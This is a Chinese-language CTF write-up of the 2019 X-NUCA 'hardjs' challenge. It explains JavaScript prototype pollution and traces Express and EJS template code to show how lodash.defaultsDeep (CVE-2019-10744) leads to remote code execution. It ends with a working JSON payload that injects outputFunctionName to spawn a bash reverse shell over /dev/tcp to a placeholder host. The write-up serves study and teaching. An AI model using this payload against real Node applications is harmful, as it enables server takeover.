https://cyto.top/2019/04/16/translation-js-prototype-pollution-attack-nsec2018/
https://www.cnblogs.com/wfzWebSecuity/p/11360881.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04
https://xz.aliyun.com/t/6101
https://xz.aliyun.com/t/6113
这篇利用讲的很详细(唯一一篇看懂了的。。)
原型链介绍
这里简单介绍一下原型链污染(prototype pollution)
Javascript里每个类都有一个prototype
的属性,用来绑定所有对象都会有变量与函数,对象的构造函数又指向类本身,同时对象的__proto__
属性也指向类的prototype
。因此,有以下关系:
并且,类的继承是通过原型链传递的,一个类的prototype
属性指向其继承的类的一个对象。所以一个类的prototype.__proto__
等于其父类的prototype
,当然也等于该类对象的__proto__.__proto__
属性。
我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null
为止。所以修改对象的某个父类的prototype
的原型就可以通过原型链影响到跟此类有关的所有对象。
当然,如果某个对象本身就拥有该成员,就不会往上找,所以利用这个漏洞的时候,我们需要做到的是找到某个成员被判断是否存在并使用的代码。
那么什么时候会触发原型链污染?
根据P牛的博客可知,其实找找能够控制数组(对象)的“键名”的操作即可
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
2019Xnuca hardjs分析
发现问题
在serve.js/get
中发现了merge
操作,如下
app.get("/get",auth,async function(req,res,next){
var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);
if(dataList[0].count == 0 ){
res.json({})
}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);
if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}
}else {
console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();
for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}
console.log(ret);
res.json(ret);
}
});
在/get
中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,关键代码如下:
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
其中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
恰好是前段时间公布的CVE-2019-10744
的攻击对象,再看一下版本刚好是4.17.11,并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。
构造利用链
观察server.js
加载了哪些库文件,如下所示
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const mysql = require('mysql')
const mysqlConfig = require("./config/mysql")
const ejs = require('ejs')
可以是个发现使用了nodejs+express+mysql
模块搭建的页面。
那么什么是express
?
Express 是一个简洁而灵活的 node.js Web应用框架
提供了一系列强大特性帮助你创建各种 Web 应用,和丰富的 HTTP 工具。
使用 Express 可以快速地搭建一个完整功能的网站。
Express 框架核心特性:
1.可以设置中间件来响应 HTTP 请求。
2.定义了路由表用于执行不同的 HTTP 请求动作。
3.可以通过向模板传递参数来动态渲染 HTML 页面。 ----引用互联网
可以知道HTML
页面是用Express
框架来渲染的,而页面的返回结果是用res.render()
来渲染(res
是response
缩写)。所以尝试从这里下手,跟进模板渲染寻找可以原型链污染的点。
打开node_modules/express/lib/response.js
,找render
函数
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
注意到参数又进到了app.render
(app
是application
的缩写),跟进application.js
,找app.render()
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;
//无关代码已省略
// render
tryRender(view, renderOptions, done);
};
继续跟进tryRender()
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
继续跟进view.js
,找render()
/**
* Render with the given options.
*
* @param {object} options
* @param {function} callback
* @private
*/
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
发现express
中渲染页面调用的循序为res.render()-->app.render()-->view.render()
,然后调用engine()
,来到页面渲染引擎ejs.js
中。
其中渲染引擎ejs
是个啥?
https://blog.csdn.net/maindek/article/details/82669720
https://blog.csdn.net/qq_26443535/article/details/80366264
通过ejs
源码简单分析,可以知道其中渲染引擎的渲染函数为exports.renderFile()
,如下:
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
//...
//去掉无关代码
return tryHandleCache(opts, data, cb);
};
跟进tryHandleCache()
function tryHandleCache(options, data, cb) {
var result;
if (!cb) {
if (typeof exports.promiseImpl == 'function') {
return new exports.promiseImpl(function (resolve, reject) {
try {
result = handleCache(options)(data);
resolve(result);
}
catch (err) {
reject(err);
}
});
}
else {
throw new Error('Please provide a callback function');
}
}
else {
try {
result = handleCache(options)(data);
}
catch (err) {
return cb(err);
}
cb(null, result);
}
}
发现有个handleCache()
,将参数传进去之后返回一个result
,怀疑result
就是渲染后的页面。跟进handleCache()
,如下:
/**
* Get the template from a string or a file, either compiled on-the-fly or
* read from cache (if enabled), and cache the template if needed.
*
* If `template` is not set, the file specified in `options.filename` will be
* read.
*
* If `options.cache` is true, this function reads the file from
* `options.filename` so it must be set prior to calling this function.
*
* @memberof module:ejs-internal
* @param {Options} options compilation options
* @param {String} [template] template source
* @return {(TemplateFunction|ClientFunction)}
* Depending on the value of `options.client`, either type might be returned.
* @static
*/
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
//...
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
阅读注释可知,当options.cache
为false
的时候,func
变量则由exports.compile()
生成,所以中间代码无关。跟进生成func
的exports.compile()
,如下:
exports.compile = function compile(template, opts) {
var templ;
// v1 compat
// 'scope' is 'context'
// FIXME: Remove this in a future version
if (opts && opts.scope) {
if (!scopeOptionWarned){
console.warn('`scope` option is deprecated and will be removed in EJS 3');
scopeOptionWarned = true;
}
if (!opts.context) {
opts.context = opts.scope;
}
delete opts.scope;
}
templ = new Template(template, opts);
return templ.compile();
};
跟进Template
类的compile()
查看,如下:
compile: function () {
var src;
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
var escapeFn = opts.escapeFunction;
var ctor;
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
...
src = this.source;
...
try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
catch(e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
}
else {
throw e;
}
}
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
...
// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = function (data) {
var include = function (path, includeData) {
var d = utils.shallowCopy({}, data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
};
returnedFn.dependencies = this.dependencies;
return returnedFn;
},
代码偏长,我们需要的是以下代码:
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
它将opts
的一部分拼接到source
中,然后赋值给src
,然后是fn
,然后以returnedFn
的形式返回。
这时候我们把上述逻辑倒过来理一遍:
-
Template
类的compile()
往exports.compile()
返回了returnedFn
,即恶意代码。
returnedFn.dependencies = this.dependencies;
return returnedFn;
-
exports.compile()
往ejs.js/handleCache()
返回接收到的数据
templ = new Template(template, opts);
return templ.compile();
-
ejs.js/handleCache()
将收到的数据复制给func
,然后返回ejs.js/tryHandleCache()
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
-
ejs.js/tryHandleCache()
将收到的数据复制给了result
,然后返回执行
result = handleCache(options)(data);
而一路跟进的时候可以发现,并没有outputFunctionName
的身影,所以只要给Object
的prototype
加上这个成员,且使其为我们的payload
。这样在最后一个函数里拼接returnedFn
的时候,就能添加上我们的恶意代码,我们就可以实现从原型链污染到RCE的攻击过程了。
漏洞利用
根据CVE-2019-10744的信息,我们知道我们只需要有消息为
{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}
在合并时便会在Object上附加a=b这样一个属性,任意不存在a属性的原型为Object的对象在访问其a属性时均会获取到b属性。
payload如下:
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
访问五次即可